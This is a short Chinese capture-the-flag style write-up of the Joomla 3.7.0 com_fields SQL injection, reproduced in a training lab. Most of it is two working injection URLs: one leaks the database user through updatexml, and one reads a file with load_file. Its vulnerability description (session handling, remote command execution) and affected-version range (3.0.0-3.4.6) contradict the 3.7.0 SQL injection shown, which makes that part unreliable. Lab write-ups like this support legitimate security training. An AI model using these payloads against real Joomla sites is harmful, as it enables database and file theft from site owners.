Joomla 3.7.0 SQL注入漏洞

 Joomla 3.7.0 SQL注入漏洞

漏洞描述：

漏洞本质是Joomla对session数据处理不当，未经授权的攻击者可以发送精心构造的恶意 HTTP 请求，获取服务器权限，实现远程命令执行。

影响范围：

Joomla 3.0.0-3.4.6

环境搭建：

这里采用安鸾渗透实战  地址

漏洞复现：

打开之后页面

安装完成后，构造payload

/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,user()),1)

 看到返回了用户 

构造读取文件的payload

0x2f666c6167是/flag得hex编码

/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,load_file(0x2f666c6167)),1)

 得到flag

漏洞修复：

升级最新版完整安装包以及升级补丁包

下载地址